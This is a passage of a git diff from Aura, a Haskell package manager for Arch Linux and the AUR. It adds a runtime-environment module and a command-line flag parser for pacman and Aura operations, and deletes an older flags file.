<> help "Use an alternate hook directory.") + con = flag' MiscConfirm (long "confirm" <> hidden <> help "Always ask for confirmation.") + dbo = flag' MiscDBOnly (long "dbonly" <> hidden <> help "Only modify database entries, not package files.") + nop = flag' MiscNoProgress (long "noprogressbar" <> hidden <> help "Don't show a progress bar when downloading.") + nos = flag' MiscNoScriptlet (long "noscriptlet" <> hidden <> help "Don't run available install scriptlets.") + pf = MiscPrintFormat <$> strOption (long "print-format" <> metavar "STRING" <> hidden <> help "Specify how targets should be printed.") + nod = flag' MiscNoDeps (long "nodeps" <> short 'd' <> hidden <> help "Skip dependency version checks.") + prt = flag' MiscPrint (long "print" <> short 'p' <> hidden <> help "Print the targets instead of performing the operation.") + asi = MiscAssumeInstalled <$> strOption (long "assume-installed" <> metavar "" <> hidden <> help "Add a virtual package to satisfy dependencies.") + +testdeps :: Parser PacmanOp +testdeps = bigT *> (TestDeps <$> someArgs) + where bigT = flag' () (long "deptest" <> short 'T' <> help "Test dependencies - useful for scripts.") + +upgrades :: Parser PacmanOp +upgrades = bigU *> (Upgrade <$> (S.fromList <$> many mods) <*> somePkgs) + where bigU = flag' () (long "upgrade" <> short 'U' <> help "Install given package files.") + mods = asd <|> ase <|> ign <|> igg + asd = flag' UpgradeAsDeps (long "asdeps" <> hidden) + ase = flag' UpgradeAsExplicit (long "asexplicit" <> hidden) + ign = UpgradeIgnore . S.fromList . map PkgName . T.split (== ',') <$> + strOption (long "ignore" <> metavar "PKG(,PKG,...)" <> hidden <> help "Ignore given packages.") + igg = UpgradeIgnoreGroup . S.fromList . map PkgGroup . T.split (== ',') <$> + strOption (long "ignoregroup" <> metavar "PKG(,PKG,...)" <> hidden <> help "Ignore packages from the given groups.") + +somePkgs :: Parser (NonEmpty PkgName) +somePkgs = NELP.fromList . map PkgName <$> some (argument str (metavar "PACKAGES")) + +-- | Same as `someArgs`, but the help message "brief display" won't show PACKAGES. +somePkgs' :: Parser (NonEmpty PkgName) +somePkgs' = NELP.fromList . map PkgName <$> some (argument str (metavar "PACKAGES" <> hidden)) + +-- | One or more arguments. +someArgs :: Parser (NonEmpty Text) +someArgs = NEL.nub . NELP.fromList <$> some (argument str (metavar "PACKAGES")) + +-- | Same as `someArgs`, but the help message "brief display" won't show PACKAGES. +someArgs' :: Parser (NonEmpty Text) +someArgs' = NEL.nub . NELP.fromList <$> some (argument str (metavar "PACKAGES" <> hidden)) + +-- | Zero or more arguments. +manyArgs :: Parser (Set Text) +manyArgs = S.fromList <$> many (argument str (metavar "PACKAGES")) + +-- | Zero or more arguments. +manyArgs' :: Parser (Set Text) +manyArgs' = S.fromList <$> many (argument str (metavar "PACKAGES" <> hidden)) + +language :: Parser Language +language = foldr1 (<|>) $ map (\(f, v) -> flag' v (long f <> hidden)) langs + where langs = [ ( "japanese", Japanese ), ( "日本語", Japanese ) + , ( "polish", Polish ), ( "polski", Polish ) + , ( "croatian", Croatian ), ( "hrvatski", Croatian ) + , ( "swedish", Swedish ), ( "svenska", Swedish ) + , ( "german", German ), ( "deutsch", German ) + , ( "spanish", Spanish ), ( "español", Spanish ) + , ( "portuguese", Portuguese ), ( "português", Portuguese ) + , ( "french", French), ( "français", French ) + , ( "russian", Russian ), ( "русский", Russian ) + , ( "italian", Italian ), ( "italiano", Italian ) + , ( "serbian", Serbian ), ( "српски", Serbian ) + , ( "norwegian", Norwegian ), ( "norsk", Norwegian ) + , ( "indonesian", Indonesia ) + , ( "chinese", Chinese ), ( "中文", Chinese ) + , ( "esperanto", Esperanto ) + , ( "dutch", Dutch ), ( "nederlands", Dutch ) ] + +logLevel :: Parser LogLevel +logLevel = option (eitherReader l) + (long "log-level" <> metavar "debug|info|warn|error" <> value LevelInfo + <> help "The minimum level of log messages to display (default: info)") + where + l :: String -> Either String LogLevel + l "debug" = Right LevelDebug + l "info" = Right LevelInfo + l "warn" = Right LevelWarn + l "error" = Right LevelError + l _ = Left "Must be one of debug|info|warn|error" + +absFilePath :: String -> Either String FilePath +absFilePath fp = bool (Left $ "Not absolute: " <> fp) (Right fp) $ isAbsolute fp diff --git a/exec/Aura/Settings/Runtime.hs b/exec/Aura/Settings/Runtime.hs new file mode 100644 --- /dev/null +++ b/exec/Aura/Settings/Runtime.hs @@ -0,0 +1,94 @@ +{-# LANGUAGE BangPatterns #-} + +{- + +Copyright 2012 - 2020 Colin Woodbury + +This file is part of Aura. + +Aura is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +Aura is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with Aura. If not, see . + +-} + +module Aura.Settings.Runtime ( withEnv ) where + +import Aura.Core (Env(..)) +import Aura.Flags +import Aura.Languages +import Aura.Packages.AUR (aurRepo) +import Aura.Packages.Repository (pacmanRepo) +import Aura.Pacman +import Aura.Settings +import Aura.Settings.External +import Aura.Shell +import Aura.Types +import Aura.Utils +import Data.Bifunctor (Bifunctor(..)) +import Lens.Micro (folded, (%~), (.~), (<>~), (^..), _Left, _Right) +import Network.HTTP.Client (newManager) +import Network.HTTP.Client.TLS (tlsManagerSettings) +import RIO hiding (first) +import qualified RIO.Map as M +import qualified RIO.Set as S +import qualified RIO.Text as T +import System.Environment (getEnvironment) +import Text.Printf + +--- + +-- | Bracket around the `Env` type to properly initialize the `Manager` and +-- `RIO` logger function (among other things). +-- +-- Throws in `IO` if there were any errors. +withEnv :: Program -> (Env -> IO a) -> IO a +withEnv (Program op co bc lng ll) f = do + let ign = S.fromList $ op ^.. _Right . _AurSync . folded . _AurIgnore . folded + igg = S.fromList $ op ^.. _Right . _AurSync . folded . _AurIgnoreGroup . folded + confFile <- getPacmanConf (either id id $ configPathOf co) >>= either throwM pure + auraConf <- auraConfig <$> getAuraConf defaultAuraConf + when (ll == LevelDebug) . printf "%s\n" $ show auraConf + environment <- M.fromList . map (bimap T.pack T.pack) <$> getEnvironment + manager <- newManager tlsManagerSettings + isTerm <- hIsTerminalDevice stdout + fromGroups <- maybe (pure S.empty) groupPackages . nes + $ getIgnoredGroups confFile <> igg + let !bu = buildUserOf bc <|> acUser auraConf <|> getTrueUser environment + when (isNothing bu) . throwM $ Failure whoIsBuildUser_1 + repos <- (<>) <$> pacmanRepo <*> aurRepo + lopts <- setLogMinLevel ll . setLogUseLoc True <$> logOptionsHandle stderr True + withLogFunc lopts $ \logFunc -> do + let !ss = Settings + { managerOf = manager + , envOf = environment + , langOf = setLang (lng <|> acLang auraConf) environment + , editorOf = fromMaybe (getEditor environment) $ acEditor auraConf + , isTerminal = isTerm + , ignoresOf = getIgnoredPkgs confFile <> fromGroups <> ign + , commonConfigOf = + -- | These maintain the precedence order: flags, config file entry, default + co & cachePathOfL . _Left %~ (\x -> fromMaybe x $ getCachePath confFile) + & logPathOfL . _Left %~ (\x -> fromMaybe x $ getLogFilePath confFile) + , buildConfigOf = + bc & buildUserOfL .~ bu + & buildPathOfL %~ (<|> acBuildPath auraConf) + & allsourcePathOfL %~ (<|> acASPath auraConf) + & vcsPathOfL %~ (<|> acVCSPath auraConf) + & buildSwitchesOfL <>~ maybe S.empty S.singleton (acAnalyse auraConf) + , logLevelOf = ll + , logFuncOf = logFunc } + f (Env repos ss) + +setLang :: Maybe Language -> Environment -> Language +setLang Nothing env = fromMaybe English . langFromLocale $ getLocale env +setLang (Just lang) _ = lang diff --git a/exec/Flags.hs b/exec/Flags.hs deleted file mode 100644 --- a/exec/Flags.hs +++ /dev/null @@ -1,547 +0,0 @@ -module Flags - ( Program(..), opts - , PacmanOp( Sync ), SyncOp( SyncUpgrade ), SyncSwitch(..), MiscOp - , AuraOp(..), AurSwitch(..), _AurSync, _AurIgnore, _AurIgnoreGroup - , AurOp(..), BackupOp(..), CacheOp(..), LogOp(..), OrphanOp(..) - ) where - -import Aura.Cache (defaultPackageCache) -import Aura.Pacman (defaultLogFile, pacmanConfFile) -import Aura.Settings -import Aura.Types -import Lens.Micro (Traversal') -import Options.Applicative -import RIO hiding (exp, log) -import RIO.FilePath -import RIO.List.Partial (foldr1) -import qualified RIO.NonEmpty as NEL -import qualified RIO.NonEmpty.Partial as NELP -import qualified RIO.Set as S -import qualified RIO.Text as T - ---- - --- | A description of a run of Aura to attempt. -data Program = Program { - _operation :: Either (PacmanOp, Set MiscOp) AuraOp - -- ^ Whether Aura handles everything, or the ops and input are just passed down to Pacman. - , _commons :: CommonConfig - -- ^ Settings common to both Aura and Pacman. - , _buildConf :: BuildConfig - -- ^ Settings specific to building packages. - , _language :: Maybe Language - -- ^ The human language of text output. - , _logLevel :: LogLevel - -- ^ The default RIO logging level. - } deriving (Show) - --- | Inherited operations that are fed down to Pacman. -data PacmanOp = Database (Either DatabaseOp (NonEmpty PkgName)) - | Files (Set FilesOp) - | Query (Either QueryOp (Set QueryFilter, Set PkgName)) - | Remove (Set RemoveOp) (NonEmpty PkgName) - | Sync (Either (NonEmpty SyncOp) (Set PkgName)) (Set SyncSwitch) - | TestDeps (NonEmpty Text) - | Upgrade (Set UpgradeSwitch) (NonEmpty PkgName) - deriving (Show) - -instance Flagable PacmanOp where - asFlag (Database (Left o)) = "-D" : asFlag o - asFlag (Database (Right fs)) = "-D" : asFlag fs - asFlag (Files os) = "-F" : asFlag os - asFlag (Query (Left o)) = "-Q" : asFlag o - asFlag (Query (Right (fs, ps))) = "-Q" : asFlag ps ++ asFlag fs - asFlag (Remove os ps) = "-R" : asFlag os ++ asFlag ps - asFlag (Sync (Left o) ss) = "-S" : asFlag ss ++ asFlag o - asFlag (Sync (Right ps) ss) = "-S" : asFlag ss ++ asFlag ps - asFlag (TestDeps ps) = "-T" : asFlag ps - asFlag (Upgrade s ps) = "-U" : asFlag s ++ asFlag ps - -data DatabaseOp = DBCheck - | DBAsDeps (NonEmpty Text) - | DBAsExplicit (NonEmpty Text) - deriving (Show) - -instance Flagable DatabaseOp where - asFlag DBCheck = ["--check"] - asFlag (DBAsDeps ps) = "--asdeps" : asFlag ps - asFlag (DBAsExplicit ps) = "--asexplicit" : asFlag ps - -data FilesOp = FilesList (NonEmpty Text) - | FilesOwns Text - | FilesSearch Text - | FilesRegex - | FilesRefresh - | FilesMachineReadable - deriving (Eq, Ord, Show) - -instance Flagable FilesOp where - asFlag (FilesList fs) = "--list" : asFlag fs - asFlag (FilesOwns f) = ["--owns", f] - asFlag (FilesSearch f) = ["--search", f] - asFlag FilesRegex = ["--regex"] - asFlag FilesRefresh = ["--refresh"] - asFlag FilesMachineReadable = ["--machinereadable"] - -data QueryOp = QueryChangelog (NonEmpty Text) - | QueryGroups (NonEmpty Text) - | QueryInfo (NonEmpty Text) - | QueryCheck (NonEmpty Text) - | QueryList (NonEmpty Text) - | QueryOwns (NonEmpty Text) - | QueryFile (NonEmpty Text) - | QuerySearch Text - deriving (Show) - -instance Flagable QueryOp where - asFlag (QueryChangelog ps) = "--changelog" : asFlag ps - asFlag (QueryGroups ps) = "--groups" : asFlag ps - asFlag (QueryInfo ps) = "--info" : asFlag ps - asFlag (QueryCheck ps) = "--check" : asFlag ps - asFlag (QueryList ps) = "--list" : asFlag ps - asFlag (QueryOwns ps) = "--owns" : asFlag ps - asFlag (QueryFile ps) = "--file" : asFlag ps - asFlag (QuerySearch t) = ["--search", t] - -data QueryFilter = QueryDeps - | QueryExplicit - | QueryForeign - | QueryNative - | QueryUnrequired - | QueryUpgrades - deriving (Eq, Ord, Show) - -instance Flagable QueryFilter where - asFlag QueryDeps = ["--deps"] - asFlag QueryExplicit = ["--explicit"] - asFlag QueryForeign = ["--foreign"] - asFlag QueryNative = ["--native"] - asFlag QueryUnrequired = ["--unrequired"] - asFlag QueryUpgrades = ["--upgrades"] - -data RemoveOp = RemoveCascade - | RemoveNoSave - | RemoveRecursive - | RemoveUnneeded - deriving (Eq, Ord, Show) - -instance Flagable RemoveOp where - asFlag RemoveCascade = ["--cascade"] - asFlag RemoveNoSave = ["--nosave"] - asFlag RemoveRecursive = ["--recursive"] - asFlag RemoveUnneeded = ["--unneeded"] - -data SyncOp = SyncClean - | SyncGroups (NonEmpty Text) - | SyncInfo (NonEmpty Text) - | SyncList Text - | SyncSearch Text - | SyncUpgrade (Set Text) - | SyncDownload (NonEmpty Text) - deriving (Eq, Ord, Show) - -instance Flagable SyncOp where - asFlag SyncClean = ["--clean"] - asFlag (SyncGroups gs) = "--groups" : asFlag gs - asFlag (SyncInfo ps) = "--info" : asFlag ps - asFlag (SyncList r) = ["--list", r] - asFlag (SyncSearch s) = ["--search", s] - asFlag (SyncUpgrade ps) = "--sysupgrade" : asFlag ps - asFlag (SyncDownload ps) = "--downloadonly" : asFlag ps - -data SyncSwitch = SyncRefresh - | SyncIgnore (Set PkgName) - | SyncIgnoreGroup (Set PkgGroup) - | SyncOverwrite Text - deriving (Eq, Ord, Show) - -instance Flagable SyncSwitch where - asFlag SyncRefresh = ["--refresh"] - asFlag (SyncIgnore ps) = ["--ignore", T.intercalate "," $ asFlag ps ] - asFlag (SyncIgnoreGroup gs) = ["--ignoregroup" , T.intercalate "," $ asFlag gs ] - asFlag (SyncOverwrite glob) = "--overwrite" : asFlag glob - -data UpgradeSwitch = UpgradeAsDeps - | UpgradeAsExplicit - | UpgradeIgnore (Set PkgName) - | UpgradeIgnoreGroup (Set PkgGroup) - | UpgradeOverwrite Text - deriving (Eq, Ord, Show) - -instance Flagable UpgradeSwitch where - asFlag UpgradeAsDeps = ["--asdeps"] - asFlag UpgradeAsExplicit = ["--asexplicit"] - asFlag (UpgradeIgnore ps) = ["--ignore", T.intercalate "," $ asFlag ps ] - asFlag (UpgradeIgnoreGroup gs) = ["--ignoregroup", T.intercalate "," $ asFlag gs ] - asFlag (UpgradeOverwrite glob) = "--overwrite" : asFlag glob - --- | Flags common to several Pacman operations. -data MiscOp = MiscArch FilePath - | MiscAssumeInstalled Text - | MiscColor Text - | MiscConfirm - | MiscDBOnly - | MiscDBPath FilePath - | MiscGpgDir FilePath - | MiscHookDir FilePath - | MiscNoDeps - | MiscNoProgress - | MiscNoScriptlet - | MiscPrint - | MiscPrintFormat Text - | MiscRoot FilePath - | MiscVerbose - deriving (Eq, Ord, Show) - -instance Flagable MiscOp where - asFlag (MiscArch p) = ["--arch", T.pack p] - asFlag (MiscAssumeInstalled p) = ["--assume-installed", p] - asFlag (MiscColor c) = ["--color", c] - asFlag (MiscDBPath p) = ["--dbpath", T.pack p] - asFlag (MiscGpgDir p) = ["--gpgdir", T.pack p] - asFlag (MiscHookDir p) = ["--hookdir", T.pack p] - asFlag (MiscPrintFormat s) = ["--print-format", s] - asFlag (MiscRoot p) = ["--root", T.pack p] - asFlag MiscConfirm = ["--confirm"] - asFlag MiscDBOnly = ["--dbonly"] - asFlag MiscNoDeps = ["--nodeps"] - asFlag MiscNoProgress = ["--noprogressbar"] - asFlag MiscNoScriptlet = ["--noscriptlet"] - asFlag MiscPrint = ["--print"] - asFlag MiscVerbose = ["--verbose"] - --- | Operations unique to Aura. -data AuraOp = AurSync (Either AurOp (NonEmpty PkgName)) (Set AurSwitch) - | Backup (Maybe BackupOp) - | Cache (Either CacheOp (NonEmpty PkgName)) - | Log (Maybe LogOp) - | Orphans (Maybe OrphanOp) - | Version - | Languages - | ViewConf - deriving (Show) - -_AurSync :: Traversal' AuraOp (Set AurSwitch) -_AurSync f (AurSync o s) = AurSync o <$> f s -_AurSync _ x = pure x - -data AurOp = AurDeps (NonEmpty PkgName) - | AurInfo (NonEmpty PkgName) - | AurPkgbuild (NonEmpty PkgName) - | AurSearch Text - | AurUpgrade (Set PkgName) - | AurJson (NonEmpty PkgName) - | AurTarball (NonEmpty PkgName) - deriving (Show) - -data AurSwitch = AurIgnore (Set PkgName) - | AurIgnoreGroup (Set PkgGroup) - | AurRepoSync - deriving (Eq, Ord, Show) - -_AurIgnore :: Traversal' AurSwitch (Set PkgName) -_AurIgnore f (AurIgnore s) = AurIgnore <$> f s -_AurIgnore _ x = pure x - -_AurIgnoreGroup :: Traversal' AurSwitch (Set PkgGroup) -_AurIgnoreGroup f (AurIgnoreGroup s) = AurIgnoreGroup <$> f s -_AurIgnoreGroup _ x = pure x - -data BackupOp = BackupClean Word | BackupRestore | BackupList deriving (Show) - -data CacheOp = CacheBackup FilePath | CacheClean Word | CacheCleanNotSaved | CacheSearch Text deriving (Show) - -data LogOp = LogInfo (NonEmpty PkgName) | LogSearch Text deriving (Show) - -data OrphanOp = OrphanAbandon | OrphanAdopt (NonEmpty PkgName) deriving (Show) - -opts :: ParserInfo Program -opts = info (program <**> helper) - (fullDesc <> header "Aura - Package manager for Arch Linux and the AUR.") - -program :: Parser Program -program = Program - <$> (fmap Right aurOps <|> (curry Left <$> pacOps <*> misc)) - <*> commonConfig - <*> buildConfig - <*> optional language - <*> logLevel - where - aurOps = aursync <|> backups <|> cache <|> log <|> orphans <|> version' <|> languages <|> viewconf - pacOps = database <|> files <|> queries <|> remove <|> sync <|> testdeps <|> upgrades - -aursync :: Parser AuraOp -aursync = bigA *> - (AurSync - <$> (fmap (Right . NEL.map (PkgName . T.toLower)) someArgs <|> fmap Left mods) - <*> (S.fromList <$> many switches) - ) - where bigA = flag' () (long "aursync" <> short 'A' <> help "Install packages from the AUR.") - mods = ds <|> ainfo <|> pkgb <|> search <|> upgrade <|> aur <|> tarball - ds = AurDeps <$> (flag' () (long "deps" <> short 'd' <> hidden <> help "View dependencies of an AUR package.") *> somePkgs') - ainfo = AurInfo <$> (flag' () (long "info" <> short 'i' <> hidden <> help "View AUR package information.") *> somePkgs') - pkgb = AurPkgbuild <$> (flag' () (long "pkgbuild" <> short 'p' <> hidden <> help "View an AUR package's PKGBUILD file.") *> somePkgs') - search = AurSearch <$> strOption (long "search" <> short 's' <> metavar "STRING" <> hidden <> help "Search the AUR via a search string.") - upgrade = AurUpgrade <$> (flag' () (long "sysupgrade" <> short 'u' <> hidden <> help "Upgrade all installed AUR packages.") *> fmap (S.map PkgName) manyArgs') - aur = AurJson <$> (flag' () (long "json" <> hidden <> help "Retrieve package JSON straight from the AUR.") *> somePkgs') - tarball = AurTarball <$> (flag' () (long "downloadonly" <> short 'w' <> hidden <> help "Download a package tarball.") *> somePkgs') - switches = ign <|> igg <|> y - ign = AurIgnore . S.fromList . map PkgName . T.split (== ',') - <$> strOption (long "ignore" <> metavar "PKG(,PKG,...)" <> hidden <> help "Ignore given packages.") - igg = AurIgnoreGroup . S.fromList . map PkgGroup . T.split (== ',') - <$> strOption (long "ignoregroup" <> metavar "PKG(,PKG,...)" <> hidden <> help "Ignore packages from the given groups.") - y = flag' AurRepoSync (short 'y' <> hidden <> help "Do an -Sy before continuing.") - -backups :: Parser AuraOp -backups = bigB *> (Backup <$> optional mods) - where bigB = flag' () (long "save" <> short 'B' <> help "Save a package state.") - mods = clean <|> restore <|> lst - clean = BackupClean <$> option auto (long "clean" <> short 'c' <> metavar "N" <> hidden <> help "Keep the most recent N states, delete the rest.") - restore = flag' BackupRestore (long "restore" <> short 'r' <> hidden <> help "Restore a previous package state.") - lst = flag' BackupList (long "list" <> short 'l' <> hidden <> help "Show all saved package state filenames.") - -cache :: Parser AuraOp -cache = bigC *> (Cache <$> (fmap Left mods <|> fmap Right somePkgs)) - where bigC = flag' () (long "downgrade" <> short 'C' <> help "Interact with the package cache.") - mods = backup <|> clean <|> clean' <|> search - backup = CacheBackup <$> option (eitherReader absFilePath) (long "backup" <> short 'b' <> metavar "PATH" <> help "Backup the package cache to a given directory." <> hidden) - clean = CacheClean <$> option auto (long "clean" <> short 'c' <> metavar "N" <> help "Save the most recent N versions of a package in the cache, deleting the rest." <> hidden) - clean' = flag' CacheCleanNotSaved (long "notsaved" <> help "Clean out any cached package files which doesn't appear in any saved state." <> hidden) - search = CacheSearch <$> strOption (long "search" <> short 's' <> metavar "STRING" <> help "Search the package cache via a search string." <> hidden) - -log :: Parser AuraOp -log = bigL *> (Log <$> optional mods) - where bigL = flag' () (long "viewlog" <> short 'L' <> help "View the Pacman log.") - mods = inf <|> sch - inf = LogInfo <$> (flag' () (long "info" <> short 'i' <> help "Display the installation history for given packages." <> hidden) *> somePkgs') - sch = LogSearch <$> strOption (long "search" <> short 's' <> metavar "STRING" <> help "Search the Pacman log via a search string." <> hidden) - -orphans :: Parser AuraOp -orphans = bigO *> (Orphans <$> optional mods) - where bigO = flag' () (long "orphans" <> short 'O' <> help "Display all orphan packages.") - mods = abandon <|> adopt - abandon = flag' OrphanAbandon (long "abandon" <> short 'j' <> hidden <> help "Uninstall all orphan packages.") - adopt = OrphanAdopt <$> (flag' () (long "adopt" <> hidden <> help "Mark some packages' install reason as 'Explicit'.") *> somePkgs') - -version' :: Parser AuraOp -version' = flag' Version (long "version" <> short 'V' <> help "Display Aura's version.") - -languages :: Parser AuraOp -languages = flag' Languages (long "languages" <> help "Show all human languages available for output.") - -viewconf :: Parser AuraOp -viewconf = flag' ViewConf (long "viewconf" <> help "View the Pacman config file.") - -buildConfig :: Parser BuildConfig -buildConfig = BuildConfig <$> makepkg <*> bp <*> optional bu <*> trunc <*> buildSwitches - where makepkg = S.fromList <$> many (ia <|> as <|> si) - ia = flag' IgnoreArch (long "ignorearch" <> hidden <> help "Exposed makepkg flag.") - as = flag' AllSource (long "allsource" <> hidden <> help "Exposed makepkg flag.") - si = flag' SkipInteg (long "skipinteg" <> hidden <> help "Skip all makepkg integrity checks.") - bp = option (eitherReader absFilePath) (long "build" <> metavar "PATH" <> hidden <> help "Directory in which to build packages.") - <|> pure defaultBuildDir - bu = User <$> strOption (long "builduser" <> metavar "USER" <> hidden <> help "User account to build as.") - trunc = fmap Head (option auto (long "head" <> metavar "N" <> hidden <> help "Only show top N search results.")) - <|> fmap Tail (option auto (long "tail" <> metavar "N" <> hidden <> help "Only show last N search results.")) - <|> pure None - -buildSwitches :: Parser (Set BuildSwitch) -buildSwitches = S.fromList <$> many (lv <|> dmd <|> dsm <|> dpb <|> rbd <|> he <|> ucp <|> dr <|> sa <|> fo <|> npc <|> asd) - where dmd = flag' DeleteMakeDeps (long "delmakedeps" <> short 'a' <> hidden <> help "Uninstall makedeps after building.") - dsm = flag' DontSuppressMakepkg (long "unsuppress" <> short 'x' <> hidden <> help "Unsuppress makepkg output.") - dpb = flag' DiffPkgbuilds (long "diff" <> short 'k' <> hidden <> help "Show PKGBUILD diffs.") - rbd = flag' RebuildDevel (long "devel" <> hidden <> help "Rebuild all git/hg/svn/darcs-based packages.") - he = flag' HotEdit (long "hotedit" <> hidden <> help "Edit a PKGBUILD before building.") - ucp = flag' UseCustomizepkg (long "custom" <> hidden <> help "Run customizepkg before building.") - dr = flag' DryRun (long "dryrun" <> hidden <> help "Run dependency checks and PKGBUILD diffs, but don't build.") - sa = flag' SortAlphabetically (long "abc" <> hidden <> help "Sort search results alphabetically.") - lv = flag' LowVerbosity (long "quiet" <> short 'q' <> hidden <> help "Display less information.") - fo = flag' ForceBuilding (long "force" <> hidden <> help "Always (re)build specified packages.") - npc = flag' NoPkgbuildCheck (long "noanalysis" <> hidden <> help "Do not analyse PKGBUILDs for security flaws.") - asd = flag' AsDeps (long "asdeps" <> hidden <> help "All installed packages will be marked as dependencies.") - -commonConfig :: Parser CommonConfig -commonConfig = CommonConfig <$> cap <*> cop <*> lfp <*> commonSwitches - where cap = fmap Right - (option (eitherReader absFilePath) (long "cachedir" <> hidden <> help "Use an alternate package cache location.")) - <|> pure (Left defaultPackageCache) - cop = fmap Right - (option (eitherReader absFilePath) (long "config" <> hidden <> help "Use an alternate Pacman config file.")) - <|> pure (Left pacmanConfFile) - lfp = fmap Right - (option (eitherReader absFilePath) (long "logfile" <> hidden <> help "Use an alternate Pacman log.")) - <|> pure (Left defaultLogFile) - -commonSwitches :: Parser (Set CommonSwitch) -commonSwitches = S.fromList <$> many (nc <|> no <|> dbg <|> clr <|> ovr) - where nc = flag' NoConfirm (long "noconfirm" <> hidden <> help "Never ask for Aura or Pacman confirmation.") - no = flag' NeededOnly (long "needed" <> hidden <> help "Don't rebuild/reinstall up-to-date packages.") - dbg = flag' Debug (long "debug" <> hidden <> help "Print useful debugging info.") - ovr = Overwrite <$> strOption (long "overwrite" <> hidden <> help "Bypas file conflict checks." <> metavar "GLOB") - clr = Colour . f <$> strOption (long "color" <> metavar "WHEN" <> hidden <> help "Colourize the output.") - f :: String -> ColourMode - f "never" = Never - f "always" = Always - f _ = Auto - -database :: Parser PacmanOp -database = bigD *> (Database <$> (fmap Right somePkgs <|> fmap Left mods)) - where bigD = flag' () (long "database" <> short 'D' <> help "Interact with the package database.") - mods = check <|> asdeps <|> asexp - check = flag' DBCheck (long "check" <> short 'k' <> hidden <> help "Test local database validity.") - asdeps = DBAsDeps <$> (flag' () (long "asdeps" <> hidden <> help "Mark packages as being dependencies.") *> someArgs') - asexp = DBAsExplicit <$> (flag' () (long "asexplicit" <> hidden <> help "Mark packages as being explicitely installed.") *> someArgs') - -files :: Parser PacmanOp -files = bigF *> (Files <$> fmap S.fromList (many mods)) - where bigF = flag' () (long "files" <> short 'F' <> help "Interact with the file database.") - mods = lst <|> own <|> sch <|> rgx <|> rfr <|> mch - lst = FilesList <$> (flag' () (long "list" <> short 'l' <> hidden <> help "List the files owned by given packages.") *> someArgs') - own = FilesOwns <$> strOption (long "owns" <> short 'o' <> metavar "FILE" <> hidden <> help "Query the package that owns FILE.") - sch = FilesSearch <$> strOption (long "search" <> short 's' <> metavar "FILE" <> hidden <> help "Find package files that match the given FILEname.") - rgx = flag' FilesRegex (long "regex" <> short 'x' <> hidden <> help "Interpret the input of -Fs as a regex.") - rfr = flag' FilesRefresh (long "refresh" <> short 'y' <> hidden <> help "Download fresh package databases.") - mch = flag' FilesMachineReadable (long "machinereadable" <> hidden <> help "Produce machine-readable output.") - -queries :: Parser PacmanOp -queries = bigQ *> (Query <$> (fmap Right query <|> fmap Left mods)) - where bigQ = flag' () (long "query" <> short 'Q' <> help "Interact with the local package database.") - query = curry (second (S.map PkgName)) <$> queryFilters <*> manyArgs - mods = chl <|> gps <|> inf <|> lst <|> own <|> fls <|> sch <|> chk - chl = QueryChangelog <$> (flag' () (long "changelog" <> short 'c' <> hidden <> help "View a package's changelog.") *> someArgs') - gps = QueryGroups <$> (flag' () (long "groups" <> short 'g' <> hidden <> help "View all members of a package group.") *> someArgs') - inf = QueryInfo <$> (flag' () (long "info" <> short 'i' <> hidden <> help "View package information.") *> someArgs') - lst = QueryList <$> (flag' () (long "list" <> short 'l' <> hidden <> help "List files owned by a package.") *> someArgs') - chk = QueryCheck <$> (flag' () (long "check" <> short 'k' <> hidden <> help "Check that package files exist.") *> someArgs') - own = QueryOwns <$> (flag' () (long "owns" <> short 'o' <> hidden <> help "Find the package some file belongs to.") *> someArgs') - fls = QueryFile <$> (flag' () (long "file" <> short 'p' <> hidden <> help "Query a package file.") *> someArgs') - sch = QuerySearch <$> strOption (long "search" <> short 's' <> metavar "REGEX" <> hidden <> help "Search the local database.") - -queryFilters :: Parser (Set QueryFilter) -queryFilters = S.fromList <$> many (dps <|> exp <|> frg <|> ntv <|> urq <|> upg) - where dps = flag' QueryDeps (long "deps" <> short 'd' <> hidden <> help "[filter] Only list packages installed as deps.") - exp = flag' QueryExplicit (long "explicit" <> short 'e' <> hidden <> help "[filter] Only list explicitly installed packages.") - frg = flag' QueryForeign (long "foreign" <> short 'm' <> hidden <> help "[filter] Only list AUR packages.") - ntv = flag' QueryNative (long "native" <> short 'n' <> hidden <> help "[filter] Only list official packages.") - urq = flag' QueryUnrequired (long "unrequired" <> short 't' <> hidden <> help "[filter] Only list packages not required as a dependency to any other.") - upg = flag' QueryUpgrades (long "upgrades" <> short 'u' <> hidden <> help "[filter] Only list outdated packages.") - -remove :: Parser PacmanOp -remove = bigR *> (Remove <$> mods <*> somePkgs) - where bigR = flag' () (long "remove" <> short 'R' <> help "Uninstall packages.") - mods = S.fromList <$> many (cascade <|> nosave <|> recurse <|> unneeded) - cascade = flag' RemoveCascade (long "cascade" <> short 'c' <> hidden <> help "Remove packages and all others that depend on them.") - nosave = flag' RemoveNoSave (long "nosave" <> short 'n' <> hidden <> help "Remove configuration files as well.") - recurse = flag' RemoveRecursive (long "recursive" <> short 's' <> hidden <> help "Remove unneeded dependencies.") - unneeded = flag' RemoveUnneeded (long "unneeded" <> short 'u' <> hidden <> help "Remove unneeded packages.") - -sync :: Parser PacmanOp -sync = bigS *> (Sync <$> (fmap (Right . S.map PkgName) manyArgs <|> fmap Left mods) <*> (S.fromList <$> many (ref <|> ign <|> igg))) - where bigS = flag' () (long "sync" <> short 'S' <> help "Install official packages.") - ref = flag' SyncRefresh (long "refresh" <> short 'y' <> hidden <> help "Update the package database.") - mods = NELP.fromList <$> some (cln <|> gps <|> inf <|> lst <|> sch <|> upg <|> dnl) - cln = flag' SyncClean (long "clean" <> short 'c' <> hidden <> help "Remove old packages from the cache.") - gps = SyncGroups <$> (flag' () (long "groups" <> short 'g' <> hidden <> help "View members of a package group.") *> someArgs') - inf = SyncInfo <$> (flag' () (long "info" <> short 'i' <> hidden <> help "View package information.") *> someArgs') - lst = SyncList <$> strOption (long "list" <> short 'l' <> metavar "REPO" <> hidden <> help "List the packages in a REPO.") - sch = SyncSearch <$> strOption (long "search" <> short 's' <> metavar "REGEX" <> hidden <> help "Search the official package repos.") - upg = SyncUpgrade <$> (flag' () (long "sysupgrade" <> short 'u' <> hidden <> help "Upgrade installed packages.") *> manyArgs') - dnl = SyncDownload <$> (flag' () (long "downloadonly" <> short 'w' <> hidden <> help "Download package tarballs.") *> someArgs') - ign = SyncIgnore . S.fromList . map PkgName . T.split (== ',') <$> - strOption 